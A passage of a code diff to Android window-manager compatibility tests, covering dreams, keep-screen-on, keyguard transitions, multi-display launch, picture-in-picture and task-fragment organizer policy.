-                WindowManagerState.WindowState::getRequestedHeight).orElse(0);
-
-        final Rect activityBounds = getWmState().getActivity(CUSTOM_TRANSITION_EXIT_ACTIVITY)
-                .getBounds();
-
-        return new Rect(activityBounds.left, activityBounds.top + screenDecorOverlayHeight,
-                activityBounds.right, activityBounds.bottom - screenDecorOverlayBottomHeight);
-    }
-
-    private void setDefaultAnimationScale() {
-        mInitialWindowAnimationScale =
-                runShellCommandSafe("settings get global window_animation_scale");
-        mInitialTransitionAnimationScale =
-                runShellCommandSafe("settings get global transition_animation_scale");
-        mInitialAnimatorDurationScale =
-                runShellCommandSafe("settings get global animator_duration_scale");
-
-        if (!mInitialWindowAnimationScale.equals("1")
-                || !mInitialTransitionAnimationScale.equals("1")
-                || !mInitialAnimatorDurationScale.equals("1")) {
-            mAnimationScaleResetRequired = true;
-            runShellCommandSafe("settings put global window_animation_scale 1");
-            runShellCommandSafe("settings put global transition_animation_scale 1");
-            runShellCommandSafe("settings put global animator_duration_scale 1");
-        }
-    }
-
-    private void restoreAnimationScale() {
-        if (mAnimationScaleResetRequired) {
-            runShellCommandSafe("settings put global window_animation_scale "
-                    + mInitialWindowAnimationScale);
-            runShellCommandSafe("settings put global transition_animation_scale "
-                    + mInitialTransitionAnimationScale);
-            runShellCommandSafe("settings put global animator_duration_scale "
-                    + mInitialAnimatorDurationScale);
-        }
-    }
-
-    private static String runShellCommandSafe(String cmd) {
-        try {
-            return runShellCommand(InstrumentationRegistry.getInstrumentation(), cmd);
-        } catch (IOException e) {
-            fail("Failed reading command output: " + e);
-            return "";
-        }
-    }
-}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DreamManagerServiceTests.java b/tests/framework/base/windowmanager/src/android/server/wm/DreamManagerServiceTests.java
index e8773ff..e3ff94d 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/DreamManagerServiceTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/DreamManagerServiceTests.java
@@ -83,7 +83,7 @@
         startFullscreenTestActivity();
         mDreamActivityName = mDreamCoordinator.setActiveDream(TEST_DREAM_SERVICE);
 
-        mDreamCoordinator.startDream(TEST_DREAM_SERVICE);
+        mDreamCoordinator.startDream();
         waitAndAssertTopResumedActivity(mDreamActivityName, DEFAULT_DISPLAY,
                 "Dream activity should be the top resumed activity");
         mWmState.waitForValidState(mWmState.getHomeActivityName());
@@ -104,7 +104,7 @@
     public void testDreamServiceStopsTimely() throws Exception {
         mDreamActivityName = mDreamCoordinator.setActiveDream(TEST_DREAM_SERVICE);
 
-        mDreamCoordinator.startDream(TEST_DREAM_SERVICE);
+        mDreamCoordinator.startDream();
         waitAndAssertTopResumedActivity(mDreamActivityName, DEFAULT_DISPLAY,
                 "Dream activity should be the top resumed activity");
         mWmState.waitForValidState(mWmState.getHomeActivityName());
@@ -124,7 +124,7 @@
         startFullscreenTestActivity();
         mDreamActivityName = mDreamCoordinator.setActiveDream(TEST_STUBBORN_DREAM_SERVICE);
 
-        mDreamCoordinator.startDream(TEST_STUBBORN_DREAM_SERVICE);
+        mDreamCoordinator.startDream();
         waitAndAssertTopResumedActivity(mDreamActivityName, DEFAULT_DISPLAY,
                 "Dream activity should be the top resumed activity");
         mWmState.waitForValidState(mWmState.getHomeActivityName());
@@ -149,7 +149,7 @@
         final RotationSession rotationSession = createManagedRotationSession();
         rotationSession.set(Surface.ROTATION_0);
         mDreamActivityName = mDreamCoordinator.setActiveDream(TEST_DREAM_SERVICE);
-        mDreamCoordinator.startDream(TEST_DREAM_SERVICE);
+        mDreamCoordinator.startDream();
         rotationSession.set(Surface.ROTATION_90);
 
         waitAndAssertTopResumedActivity(mDreamActivityName, DEFAULT_DISPLAY,
@@ -243,7 +243,7 @@
     private class DreamingState implements AutoCloseable {
         public DreamingState(ComponentName dream) {
             mDreamActivityName = mDreamCoordinator.setActiveDream(dream);
-            mDreamCoordinator.startDream(dream);
+            mDreamCoordinator.startDream();
             waitAndAssertDreaming();
         }
 
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/KeepScreenOnTests.java b/tests/framework/base/windowmanager/src/android/server/wm/KeepScreenOnTests.java
new file mode 100644
index 0000000..a97399e
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/KeepScreenOnTests.java
@@ -0,0 +1,132 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm;
+
+import static android.provider.Settings.System.SCREEN_OFF_TIMEOUT;
+import static android.server.wm.app.Components.TEST_ACTIVITY;
+import static android.server.wm.app.Components.TURN_SCREEN_ON_ACTIVITY;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Intent;
+import android.content.res.Resources;
+import android.os.PowerManager;
+import android.os.SystemClock;
+import android.provider.Settings;
+
+import com.android.compatibility.common.util.ApiTest;
+import com.android.compatibility.common.util.BlockingBroadcastReceiver;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+public class KeepScreenOnTests extends MultiDisplayTestBase {
+    private static final String TAG = "KeepScreenOnTests";
+    private String mInitialDisplayTimeout;
+    private PowerManager mPowerManager;
+
+    @Before
+    public void setUp() throws Exception {
+        super.setUp();
+        mInitialDisplayTimeout =
+                Settings.System.getString(mContext.getContentResolver(), SCREEN_OFF_TIMEOUT);
+        mPowerManager = mContext.getSystemService(PowerManager.class);
+    }
+
+    @After
+    public void tearDown() {
+        setScreenOffTimeoutMs(mInitialDisplayTimeout);
+    }
+
+    @ApiTest(apis = "android.view.WindowManager.LayoutParams#FLAG_KEEP_SCREEN_ON")
+    @Test
+    public void testKeepScreenOn_activityOnDefaultDisplay_screenStaysOn() {
+        setScreenOffTimeoutMs("500");
+        launchActivity(TURN_SCREEN_ON_ACTIVITY);
+        assertTrue(mPowerManager.isInteractive());
+
+        SystemClock.sleep(getMinimumScreenOffTimeoutMs());
+
+        assertTrue(mPowerManager.isInteractive());
+        mWmState.assertVisibility(TURN_SCREEN_ON_ACTIVITY, true);
+    }
+
+    @ApiTest(apis = "android.view.WindowManager.LayoutParams#FLAG_KEEP_SCREEN_ON")
+    @Test
+    public void testKeepScreenOn_activityNotForeground_screenTurnsOff() {
+        setScreenOffTimeoutMs("500");
+
+        launchActivity(TURN_SCREEN_ON_ACTIVITY);
+        assertTrue(mPowerManager.isInteractive());
+        try (BlockingBroadcastReceiver r = BlockingBroadcastReceiver.create(mContext,
+                Intent.ACTION_SCREEN_OFF).register()) {
+            launchActivity(TEST_ACTIVITY);
+        }
+        mWmState.waitAndAssertVisibilityGone(TURN_SCREEN_ON_ACTIVITY);
+        assertFalse(mPowerManager.isInteractive());
+    }
+
+    @ApiTest(apis = "android.view.WindowManager.LayoutParams#FLAG_KEEP_SCREEN_ON")
+    @Test
+    public void testKeepScreenOn_activityOnVirtualDisplay_screenStaysOn() {
+        assumeTrue(supportsMultiDisplay());
+        setScreenOffTimeoutMs("500");
+
+        final WindowManagerState.DisplayContent newDisplay = createManagedVirtualDisplaySession()
+                .setSimulateDisplay(true).createDisplay();
+        launchActivityOnDisplay(TURN_SCREEN_ON_ACTIVITY, newDisplay.mId);
+        mWmState.assertVisibility(TURN_SCREEN_ON_ACTIVITY, true);
+        assertTrue(mPowerManager.isInteractive());
+
+        SystemClock.sleep(getMinimumScreenOffTimeoutMs());
+
+        assertTrue(mPowerManager.isInteractive());
+        mWmState.assertVisibility(TURN_SCREEN_ON_ACTIVITY, true);
+    }
+
+    @ApiTest(apis = "android.view.WindowManager.LayoutParams#FLAG_KEEP_SCREEN_ON")
+    @Test
+    public void testKeepScreenOn_activityOnVirtualDisplayNotForeground_screenTurnsOff() {
+        assumeTrue(supportsMultiDisplay());
+        setScreenOffTimeoutMs("500");
+
+        final WindowManagerState.DisplayContent newDisplay = createManagedVirtualDisplaySession()
+                .setSimulateDisplay(true).createDisplay();
+        launchActivityOnDisplay(TURN_SCREEN_ON_ACTIVITY, newDisplay.mId);
+        assertTrue(mPowerManager.isInteractive());
+        try (BlockingBroadcastReceiver r = BlockingBroadcastReceiver.create(mContext,
+                Intent.ACTION_SCREEN_OFF).register()) {
+            launchActivityOnDisplay(TEST_ACTIVITY, newDisplay.mId);
+        }
+        mWmState.waitAndAssertVisibilityGone(TURN_SCREEN_ON_ACTIVITY);
+        assertFalse(mPowerManager.isInteractive());
+    }
+
+    private void setScreenOffTimeoutMs(String timeoutMs) {
+        Settings.System.putString(
+                mContext.getContentResolver(), SCREEN_OFF_TIMEOUT, timeoutMs);
+    }
+
+    private int getMinimumScreenOffTimeoutMs() {
+        return mContext.getResources().getInteger(
+                Resources.getSystem().getIdentifier("config_minimumScreenOffTimeout", "integer",
+                        "android"));
+    }
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTests.java b/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTests.java
index 3062980..9c8d7e9 100755
--- a/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTests.java
@@ -33,6 +33,7 @@
 import static android.server.wm.app.Components.SHOW_WHEN_LOCKED_ATTR_ACTIVITY;
 import static android.server.wm.app.Components.SHOW_WHEN_LOCKED_ATTR_ROTATION_ACTIVITY;
 import static android.server.wm.app.Components.SHOW_WHEN_LOCKED_DIALOG_ACTIVITY;
+import static android.server.wm.app.Components.SHOW_WHEN_LOCKED_NO_PREVIEW_ACTIVITY;
 import static android.server.wm.app.Components.SHOW_WHEN_LOCKED_TRANSLUCENT_ACTIVITY;
 import static android.server.wm.app.Components.SHOW_WHEN_LOCKED_WITH_DIALOG_ACTIVITY;
 import static android.server.wm.app.Components.TEST_ACTIVITY;
@@ -44,9 +45,7 @@
 import static android.view.WindowManager.LayoutParams.TYPE_WALLPAPER;
 
 import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertTrue;
-import static org.junit.Assume.assumeFalse;
 import static org.junit.Assume.assumeTrue;
 import static org.mockito.ArgumentMatchers.anyBoolean;
 import static org.mockito.Mockito.never;
@@ -61,7 +60,6 @@
 import android.platform.test.annotations.Presubmit;
 import android.server.wm.CommandSession.ActivitySession;
 import android.server.wm.CommandSession.ActivitySessionClient;
-import android.server.wm.WindowManagerState.WindowState;
 import android.server.wm.app.Components;
 
 import androidx.test.filters.FlakyTest;
@@ -195,16 +193,13 @@
      */
     @Test
     public void testTranslucentShowWhenLockedActivity() {
-        // TODO(b/209906849) remove assumeFalse after issue fix.
-        assumeFalse(ENABLE_SHELL_TRANSITIONS);
         final LockScreenSession lockScreenSession = createManagedLockScreenSession();
         launchActivity(SHOW_WHEN_LOCKED_TRANSLUCENT_ACTIVITY);
         mWmState.computeState(SHOW_WHEN_LOCKED_TRANSLUCENT_ACTIVITY);
         mWmState.assertVisibility(SHOW_WHEN_LOCKED_TRANSLUCENT_ACTIVITY, true);
         lockScreenSession.gotoKeyguard(SHOW_WHEN_LOCKED_TRANSLUCENT_ACTIVITY);
-        mWmState.computeState();
         mWmState.assertVisibility(SHOW_WHEN_LOCKED_TRANSLUCENT_ACTIVITY, true);
-        assertWallpaperShowing();
+        mWmState.waitAndAssertWindowShown(TYPE_WALLPAPER, true);
         mWmState.assertKeyguardShowingAndOccluded();
     }
 
@@ -229,16 +224,13 @@
 
     @Test
     public void testDialogShowWhenLockedActivity() {
-        // TODO(b/209906849) remove assumeFalse after issue fix.
-        assumeFalse(ENABLE_SHELL_TRANSITIONS);
         final LockScreenSession lockScreenSession = createManagedLockScreenSession();
         launchActivity(SHOW_WHEN_LOCKED_DIALOG_ACTIVITY);
         mWmState.computeState(SHOW_WHEN_LOCKED_DIALOG_ACTIVITY);
         mWmState.assertVisibility(SHOW_WHEN_LOCKED_DIALOG_ACTIVITY, true);
-        lockScreenSession.gotoKeyguard();
-        mWmState.computeState();
+        lockScreenSession.gotoKeyguard(SHOW_WHEN_LOCKED_DIALOG_ACTIVITY);
         mWmState.assertVisibility(SHOW_WHEN_LOCKED_DIALOG_ACTIVITY, true);
-        assertWallpaperShowing();
+        mWmState.waitAndAssertWindowShown(TYPE_WALLPAPER, true);
         mWmState.assertKeyguardShowingAndOccluded();
     }
 
@@ -480,6 +472,7 @@
         assertTrue(mWmState.getKeyguardControllerState().keyguardShowing);
         assertFalse(isDisplayOn(DEFAULT_DISPLAY));
     }
+
     /**
      * Tests whether a FLAG_DISMISS_KEYGUARD activity occludes Keyguard.
      */
@@ -555,6 +548,20 @@
     }
 
     @Test
+    public void testDismissKeyguard_fromActivityOption_onlyOnce() {
+        // TODO(b/228431314): Move this test from CTS to flicker test.
+        final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+
+        lockScreenSession.gotoKeyguard();
+        launchActivityWithDismissKeyguard(SHOW_WHEN_LOCKED_NO_PREVIEW_ACTIVITY);
+        mWmState.computeState(SHOW_WHEN_LOCKED_NO_PREVIEW_ACTIVITY);
+        mWmState.assertVisibility(SHOW_WHEN_LOCKED_NO_PREVIEW_ACTIVITY, true);
+
+        lockScreenSession.gotoKeyguard();
+        assertFalse(mWmState.getKeyguardControllerState().mKeyguardGoingAway);
+    }
+
+    @Test
     public void testKeyguardLock() {
         final LockScreenSession lockScreenSession = createManagedLockScreenSession();
         lockScreenSession.gotoKeyguard();
@@ -600,13 +607,6 @@
         mWmState.waitAndAssertActivityRemoved(SHOW_WHEN_LOCKED_ACTIVITY);
     }
 
-    private void assertWallpaperShowing() {
-        WindowState wallpaper =
-                mWmState.findFirstWindowWithType(TYPE_WALLPAPER);
-        assertNotNull(wallpaper);
-        assertTrue(wallpaper.isSurfaceShown());
-    }
-
     @Test
     public void testDismissKeyguardAttrActivity_method_turnScreenOn() {
         final LockScreenSession lockScreenSession = createManagedLockScreenSession();
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTransitionTests.java b/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTransitionTests.java
index b585c04..0a2298c 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTransitionTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTransitionTests.java
@@ -36,6 +36,8 @@
 
 import android.platform.test.annotations.Presubmit;
 
+import androidx.test.filters.FlakyTest;
+
 import org.junit.Before;
 import org.junit.Test;
 
@@ -105,6 +107,16 @@
                 mWmState.getDefaultDisplayLastTransition());
     }
 
+    @FlakyTest(bugId = 238776938)
+    @Test
+    public void testDismissKeyguard() {
+        createManagedLockScreenSession().gotoKeyguard();
+        launchActivityWithDismissKeyguard(SHOW_WHEN_LOCKED_NO_PREVIEW_ACTIVITY);
+        mWmState.computeState(SHOW_WHEN_LOCKED_NO_PREVIEW_ACTIVITY);
+        assertEquals("Picked wrong transition", TRANSIT_KEYGUARD_GOING_AWAY,
+                mWmState.getDefaultDisplayLastTransition());
+    }
+
     @Test
     public void testNewActivityDuringOccluded() {
         final LockScreenSession lockScreenSession = createManagedLockScreenSession();
@@ -117,6 +129,18 @@
     }
 
     @Test
+    public void testNewDismissKeyguardActivityDuringOccluded() {
+        final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+        launchActivity(SHOW_WHEN_LOCKED_NO_PREVIEW_ACTIVITY);
+        lockScreenSession.gotoKeyguard(SHOW_WHEN_LOCKED_NO_PREVIEW_ACTIVITY);
+        launchActivityWithDismissKeyguard(
+                SHOW_WHEN_LOCKED_WITH_DIALOG_NO_PREVIEW_ACTIVITY);
+        mWmState.computeState(SHOW_WHEN_LOCKED_WITH_DIALOG_NO_PREVIEW_ACTIVITY);
+        assertEquals("Picked wrong transition", TRANSIT_ACTIVITY_OPEN,
+                mWmState.getDefaultDisplayLastTransition());
+    }
+
+    @Test
     public void testOccludeManifestAttr() {
         final LockScreenSession lockScreenSession = createManagedLockScreenSession();
         lockScreenSession.gotoKeyguard();
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java
index ad931ec..1c21598 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java
@@ -207,10 +207,8 @@
      */
     @Test
     public void testLaunchExternalDisplayActivityWhilePrimaryOff() {
-        if (isOperatorTierDevice()) {
-            // This test is not applicable for the device who uses launch_after_boot configuration
-            return;
-        }
+        // Leanback devices may launch a live broadcast app during screen off-on cycles.
+        final boolean mayLaunchActivityOnScreenOff = isLeanBack();
 
         // Launch something on the primary display so we know there is a resumed activity there
         launchActivity(RESIZEABLE_ACTIVITY);
@@ -223,10 +221,12 @@
         displayStateSession.turnScreenOff();
 
         // Make sure there is no resumed activity when the primary display is off
-        waitAndAssertActivityState(RESIZEABLE_ACTIVITY, STATE_STOPPED,
-                "Activity launched on primary display must be stopped after turning off");
-        assertEquals("Unexpected resumed activity",
-                0, mWmState.getResumedActivitiesCount());
+        if (!mayLaunchActivityOnScreenOff) {
+            waitAndAssertActivityState(RESIZEABLE_ACTIVITY, STATE_STOPPED,
+                    "Activity launched on primary display must be stopped after turning off");
+            assertEquals("Unexpected resumed activity",
+                    0, mWmState.getResumedActivitiesCount());
+        }
 
         final DisplayContent newDisplay = externalDisplaySession
                 .setCanShowWithInsecureKeyguard(true).createVirtualDisplay();
@@ -236,8 +236,10 @@
         // Check that the test activity is resumed on the external display
         waitAndAssertActivityStateOnDisplay(TEST_ACTIVITY, STATE_RESUMED, newDisplay.mId,
                 "Activity launched on external display must be resumed");
-        mWmState.assertFocusedAppOnDisplay("App on default display must still be focused",
-                RESIZEABLE_ACTIVITY, DEFAULT_DISPLAY);
+        if (!mayLaunchActivityOnScreenOff) {
+            mWmState.assertFocusedAppOnDisplay("App on default display must still be focused",
+                    RESIZEABLE_ACTIVITY, DEFAULT_DISPLAY);
+        }
     }
 
     /**
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java b/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
index 7182add..921ff3e 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
@@ -29,6 +29,7 @@
 import static android.server.wm.CliIntentExtra.extraString;
 import static android.server.wm.ComponentNameUtils.getActivityName;
 import static android.server.wm.ComponentNameUtils.getWindowName;
+import static android.server.wm.UiDeviceUtils.pressBackButton;
 import static android.server.wm.UiDeviceUtils.pressWindowButton;
 import static android.server.wm.WindowManagerState.STATE_PAUSED;
 import static android.server.wm.WindowManagerState.STATE_RESUMED;
@@ -60,6 +61,7 @@
 import static android.server.wm.app.Components.PipActivity.EXTRA_ENTER_PIP;
 import static android.server.wm.app.Components.PipActivity.EXTRA_ENTER_PIP_ASPECT_RATIO_DENOMINATOR;
 import static android.server.wm.app.Components.PipActivity.EXTRA_ENTER_PIP_ASPECT_RATIO_NUMERATOR;
+import static android.server.wm.app.Components.PipActivity.EXTRA_ENTER_PIP_ON_BACK_PRESSED;
 import static android.server.wm.app.Components.PipActivity.EXTRA_ENTER_PIP_ON_PAUSE;
 import static android.server.wm.app.Components.PipActivity.EXTRA_ENTER_PIP_ON_PIP_REQUESTED;
 import static android.server.wm.app.Components.PipActivity.EXTRA_ENTER_PIP_ON_USER_LEAVE_HINT;
@@ -328,6 +330,34 @@
     }
 
     @Test
+    public void testEnterPipOnBackPressed() {
+        // Launch a PiP activity that calls enterPictureInPictureMode when it receives
+        // onBackPressed callback.
+        launchActivity(PIP_ACTIVITY, extraString(EXTRA_ENTER_PIP_ON_BACK_PRESSED, "true"));
+
+        assertEnterPipOnBackPressed(PIP_ACTIVITY);
+    }
+
+    @Test
+    public void testEnterPipOnBackPressedWithAutoPipEnabled() {
+        // Launch the PIP activity that calls enterPictureInPictureMode when it receives
+        // onBackPressed callback and set its pip params to allow auto-pip.
+        launchActivity(PIP_ACTIVITY,
+                extraString(EXTRA_ALLOW_AUTO_PIP, "true"),
+                extraString(EXTRA_ENTER_PIP_ON_BACK_PRESSED, "true"));
+
+        assertEnterPipOnBackPressed(PIP_ACTIVITY);
+    }
+
+    private void assertEnterPipOnBackPressed(ComponentName componentName) {
+        // Press the back button.
+        pressBackButton();
+        // Assert that we have entered PiP.
+        waitForEnterPipAnimationComplete(componentName);
+        assertPinnedStackExists();
+    }
+
+    @Test
     public void testEnterExpandedPipAspectRatio() {
         assumeTrue(supportsExpandedPip());
         launchActivity(PIP_ACTIVITY,
@@ -565,7 +595,7 @@
     public void testDisallowPipLaunchFromStoppedActivity() {
         // Launch the bottom pip activity which will launch a new activity on top and attempt to
         // enter pip when it is stopped
-        launchActivity(PIP_ON_STOP_ACTIVITY);
+        launchActivityNoWait(PIP_ON_STOP_ACTIVITY);
 
         // Wait for the bottom pip activity to be stopped
         mWmState.waitForActivityState(PIP_ON_STOP_ACTIVITY, STATE_STOPPED);
@@ -694,7 +724,7 @@
         // Launch the PIP activity on pause, and have it start another activity on
         // top of itself.  Wait for the new activity to be visible and ensure that the pinned stack
         // was not created in the process
-        launchActivity(PIP_ACTIVITY,
+        launchActivityNoWait(PIP_ACTIVITY,
                 extraString(EXTRA_ENTER_PIP_ON_PAUSE, "true"),
                 extraString(EXTRA_START_ACTIVITY, getActivityName(NON_RESIZEABLE_ACTIVITY)));
         mWmState.computeState(
@@ -714,9 +744,11 @@
         // Launch the PIP activity on pause, and set it to finish itself after
         // some period.  Wait for the previous activity to be visible, and ensure that the pinned
         // stack was not created in the process
-        launchActivity(PIP_ACTIVITY,
+        launchActivityNoWait(PIP_ACTIVITY,
                 extraString(EXTRA_ENTER_PIP_ON_PAUSE, "true"),
                 extraString(EXTRA_FINISH_SELF_ON_RESUME, "true"));
+        mWmState.computeState(
+                new WaitForValidActivityState(TEST_ACTIVITY));
         assertPinnedStackDoesNotExist();
     }
 
@@ -1016,7 +1048,7 @@
      */
     @Test
     public void testPipFromTaskWithAnotherFinishingActivity() {
-        launchActivity(LAUNCH_ENTER_PIP_ACTIVITY,
+        launchActivityNoWait(LAUNCH_ENTER_PIP_ACTIVITY,
                 extraString(EXTRA_FINISH_SELF_ON_RESUME, "true"));
 
         waitForEnterPip(PIP_ACTIVITY);
@@ -1108,8 +1140,7 @@
                 waitForOrFail("Task in lock mode", () -> {
                     return mAm.getLockTaskModeState() != LOCK_TASK_MODE_NONE;
                 });
-                mBroadcastActionTrigger.doAction(ACTION_ENTER_PIP);
-                waitForEnterPip(PIP_ACTIVITY);
+                mBroadcastActionTrigger.enterPipAndWait();
                 assertPinnedStackDoesNotExist();
                 launchHomeActivityNoWait();
                 mWmState.computeState();
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/StartActivityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/StartActivityTests.java
index 6ec900c..ed2d610 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/StartActivityTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/StartActivityTests.java
@@ -55,6 +55,8 @@
 import android.server.wm.CommandSession.ActivitySession;
 import android.server.wm.intent.Activities;
 
+import com.android.compatibility.common.util.ApiTest;
+
 import org.junit.Test;
 
 import java.util.Arrays;
@@ -208,13 +210,25 @@
      * activity because the caller C in different uid cannot launch a non-exported activity.
      */
     @Test
+    @ApiTest(apis = {"android.app.Activity#navigateUpTo"})
     public void testStartActivityByNavigateUpToFromDiffUid() {
-        final Intent intent1 = new Intent(mContext, Activities.RegularActivity.class);
+        final Intent rootIntent = new Intent(mContext, Activities.RegularActivity.class);
         final String regularActivityName = Activities.RegularActivity.class.getName();
         final TestActivitySession<Activities.RegularActivity> activitySession1 =
                 createManagedTestActivitySession();
-        activitySession1.launchTestActivityOnDisplaySync(regularActivityName, intent1,
+        activitySession1.launchTestActivityOnDisplaySync(regularActivityName, rootIntent,
                 DEFAULT_DISPLAY);
+
+        final Intent navIntent = new Intent(mContext, Activities.RegularActivity.class);
+        verifyNavigateUpTo(activitySession1, navIntent);
+
+        navIntent.addFlags(FLAG_ACTIVITY_CLEAR_TOP);
+        verifyNavigateUpTo(activitySession1, navIntent);
+        assertFalse("#onNewIntent cannot be called",
+                activitySession1.getActivity().mIsOnNewIntentCalled);
+    }
+
+    private void verifyNavigateUpTo(TestActivitySession rootActivitySession, Intent navIntent) {
         final TestActivitySession<Activities.SingleTopActivity> activitySession2 =
                 createManagedTestActivitySession();
         activitySession2.launchTestActivityOnDisplaySync(Activities.SingleTopActivity.class,
@@ -232,14 +246,14 @@
                         });
 
         final Bundle data = new Bundle();
-        data.putParcelable(EXTRA_INTENT, intent1);
+        data.putParcelable(EXTRA_INTENT, navIntent);
         activitySession3.sendCommand(COMMAND_NAVIGATE_UP_TO, data);
 
-        waitAndAssertTopResumedActivity(intent1.getComponent(), DEFAULT_DISPLAY,
-                "navigateUpTo should return to the first activity");
+        waitAndAssertTopResumedActivity(rootActivitySession.getActivity().getComponentName(),
+                DEFAULT_DISPLAY, "navigateUpTo should return to the first activity");
         // Make sure the resumed first activity is the original instance.
         assertFalse("The target of navigateUpTo should not be destroyed",
-                activitySession1.getActivity().isDestroyed());
+                rootActivitySession.getActivity().isDestroyed());
 
         // The activities above the first one should be destroyed.
         mWmState.waitAndAssertActivityRemoved(
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerPolicyTest.java b/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerPolicyTest.java
index d49948f..4484568 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerPolicyTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerPolicyTest.java
@@ -16,10 +16,13 @@
 
 package android.server.wm;
 
+import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
 import static android.content.Intent.FLAG_ACTIVITY_MULTIPLE_TASK;
 import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
 import static android.server.wm.TaskFragmentOrganizerTestBase.assertEmptyTaskFragment;
+import static android.server.wm.TaskFragmentOrganizerTestBase.assumeExtensionVersionAtLeast2;
 import static android.server.wm.TaskFragmentOrganizerTestBase.getActivityToken;
+import static android.server.wm.TaskFragmentOrganizerTestBase.startNewActivity;
 import static android.server.wm.WindowManagerState.STATE_RESUMED;
 import static android.server.wm.app.Components.LAUNCHING_ACTIVITY;
 import static android.server.wm.app30.Components.SDK_30_TEST_ACTIVITY;
@@ -30,9 +33,9 @@
 import static com.google.common.truth.Truth.assertWithMessage;
 
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertThrows;
 
 import android.app.Activity;
-import android.app.Instrumentation;
 import android.content.ComponentName;
 import android.content.Intent;
 import android.graphics.Rect;
@@ -50,9 +53,10 @@
 import android.window.WindowContainerToken;
 import android.window.WindowContainerTransaction;
 
-import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.ApiTest;
+
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
@@ -70,8 +74,10 @@
 @RunWith(AndroidJUnit4.class)
 @Presubmit
 public class TaskFragmentOrganizerPolicyTest extends ActivityManagerTestBase {
+
     private TaskOrganizer mTaskOrganizer;
     private BasicTaskFragmentOrganizer mTaskFragmentOrganizer;
+    private final ArrayList<BasicTaskFragmentOrganizer> mOrganizers = new ArrayList<>();
 
     @Before
     @Override
@@ -79,102 +85,592 @@
         super.setUp();
         mTaskFragmentOrganizer = new BasicTaskFragmentOrganizer();
         mTaskFragmentOrganizer.registerOrganizer();
+        mOrganizers.add(mTaskFragmentOrganizer);
     }
 
     @After
     public void tearDown() {
-        if (mTaskFragmentOrganizer != null) {
-            mTaskFragmentOrganizer.unregisterOrganizer();
+        for (TaskFragmentOrganizer organizer : mOrganizers) {
+            organizer.unregisterOrganizer();
+        }
+        mOrganizers.clear();
+        if (mTaskOrganizer != null) {
+            NestedShellPermission.run(() -> mTaskOrganizer.unregisterOrganizer());
         }
     }
 
     /**
-     * Verifies whether performing non-TaskFragment
-     * {@link android.window.WindowContainerTransaction.HierarchyOp operations} on
-     * {@link TaskFragmentOrganizer} without permission throws {@link SecurityException}.
+     * Verifies that performing {@link WindowContainerTransaction#createTaskFragment} will fail if
+     * the fragment token is not unique.
      */
-    @Test(expected = SecurityException.class)
-    public void testPerformNonTaskFragmentHierarchyOperation_ThrowException() {
-        final List<TaskAppearedInfo> taskInfos = new ArrayList<>();
-        try {
-            // Register TaskOrganizer to obtain Task information.
-            NestedShellPermission.run(() -> {
-                mTaskOrganizer = new TaskOrganizer();
-                taskInfos.addAll(mTaskOrganizer.registerOrganizer());
-            });
+    @Test
+    @ApiTest(apis = {
+            "android.window.TaskFragmentOrganizer#applyTransaction",
+            "android.window.WindowContainerTransaction#createTaskFragment"})
+    public void testCreateTaskFragment_duplicatedFragmentToken_reportError() {
+        // TODO(b/232476698) The enforcement is new. Remove the assume in the next release.
+        assumeExtensionVersionAtLeast2();
+        final Activity activity = startNewActivity();
+        final TaskFragmentInfo taskFragmentInfo = createOrganizedTaskFragment(
+                mTaskFragmentOrganizer, activity);
+        final IBinder existingFragmentToken = taskFragmentInfo.getFragmentToken();
